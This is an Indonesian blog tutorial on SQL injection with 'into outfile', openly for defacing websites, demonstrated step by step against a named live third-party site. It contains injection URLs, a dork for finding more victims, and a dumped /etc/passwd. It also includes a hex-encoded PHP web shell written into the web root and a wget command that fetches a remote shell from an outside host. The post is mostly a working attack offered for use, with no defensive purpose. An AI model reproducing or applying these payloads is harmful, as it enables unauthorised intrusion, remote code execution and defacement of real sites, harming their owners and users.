Ad Unit (Iklan) BIG

Cara melakukan SQL Into Outfile

Post a Comment

-
Hai Sobat.
Saya ikal
Disini, saya akan share cara melakukan SQL into outfile.
Untuk apa? Untuk deface lah :'C
-
Langsung saja.
Disini saya menggunakan live target yah...
Live target : https://bengalupdate.in/
Kalau kalian ingin mencari target lain yah silakan
-Dork : inurl:".php?id=" "hotel"
-Uploader : http://arunatoursbali.com/sec.txt
-Shell Backdoor bisa kalian download dimana saja


>Yaps itu tampilan live target nya yah, sekarang mari kita cari parameter di website tersebut.
Bisa dengan cara mendorking nya dan bisa juga dengan cara menjelajah setiap page yg muncul di index page nya.
-Dorking parameter : site:lon-t.online ".php?
Contoh : site:bengalupdate.in ".php?


>http://www.bengalupdate.in/post_details-page.php?id=4225
Itu parameter dari live target ku.
>sekarang mari kita inject seperti biasa.
>kita akan menentukan vuln atau tidaknya websitenya, beri ' di belakang url.
Contoh : http://www.bengalupdate.in/post_details-page.php?id=4225'


>dan, terlihat bahwa website bisa untuk di inject.
>sekarang lanjut kita order by untuk menentukan jumlah column pada database.

http://www.bengalupdate.in/post_details-page.php?id=4225'+order+by+1--+- ~> normal

http://www.bengalupdate.in/post_details-page.php?id=4225'+order+by+10--+- ~> normal

http://www.bengalupdate.in/post_details-page.php?id=4225'+order+by+20--+- ~> normal

http://www.bengalupdate.in/post_details-page.php?id=4225'+order+by+21--+- ~> normal

http://www.bengalupdate.in/post_details-page.php?id=4225'+order+by+22--+- ~> normal

http://www.bengalupdate.in/post_details-page.php?id=4225'+order+by+23--+- ~> normal

http://www.bengalupdate.in/post_details-page.php?id=4225'+order+by+24--+- ~> error


>nah error, kita mendapatkan error di column 24 yang berarti batas column hanya sampai 23.
>sekarang mari kita lakukan union select
Follow me :'C

http://www.bengalupdate.in/post_details-page.php?id=4225'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--+-

Hasil :


Tidak muncul angka togel? It's okay.
Kita tambahkan +and+0 setelah '

http://www.bengalupdate.in/post_details-page.php?id=4225'+and+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--+-

Hasil : 


>angka togel sudah muncul, sekarang mari kita cek user nya,

http://www.bengalupdate.in/post_details-page.php?id=4225'+and+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23--+-


>root@localhost
>lanjut untuk melihat akses file_priv

http://www.bengalupdate.in/post_details-page.php?id=4225'+and+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,file_priv,14,15,16,17,18,19,20,21,22,23+from+mysql.user--+-


Ko tidak muncul apapun? Kita tidak mendapatkan N/Y :'(
>kita coba mencari path dari website tersebut,
Mari kita lakukan load_file('/etc/passwd')

http://www.bengalupdate.in/post_details-page.php?id=4225'+and+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,load_file('/etc/passwd'),14,15,16,17,18,19,20,21,22,23+from+mysql.user--+-


>ternyata kita di tipu oleh admin website tersebut.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
mysql:x:111:116:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:112:117:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
ftpuser:x:1001:1001:,,,:/var/www/html:/bin/bash
smmta:x:113:118:Mail Transfer Agent,,,:/var/lib/sendmail:/usr/sbin/nologin
smmsp:x:114:119:Mail Submission Program,,,:/var/lib/sendmail:/usr/sbin/nologin

>disini kita mendapatkan /var/www/html dan /html adalah document_root dari website tersebut.
>lanjut kita upload shell sederhana dulu.
<?php system($_GET['yes']);?>

>kita encrypt menjadi hex
0x3c3f7068702073797374656d28245f4745545b7965735d293b3f3e

http://www.bengalupdate.in/post_details-page.php?id=4225'+and+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,0x3c3f7068702073797374656d28245f4745545b7965735d293b3f3e,14,15,16,17,18,19,20,21,22,23+into+outfile+'/var/www/html/test.php'--+-

>maka kalian akan mendapat error saat melakukan into outfile.
>dan sekarang mari kita akses 


Kok hanya roti? Eh hanya angka. 
Tenang, namanya juga shell biasa. 
>sekarang kita mainin rce² buat upload shell nya

http://www.bengalupdate.in/test.php?yes=wget https://linkyourshell/shell.txt -O shell.php
-
Contoh : 
http://www.bengalupdate.in/test.php?yes=wget http://arunatoursbali.com/sec.txt -O shell.php

Lalu kalian akses
https://localhost/shell.php

Ok, thanks
Byeee....
Haikal_
Hai sobat, Saya ikal. Disini kalian bisa learning mengenai sesuatu dari setiap artikel yang saya buat :D.

Related Posts

Post a Comment

Dapatkan Notifikasi Dengan Email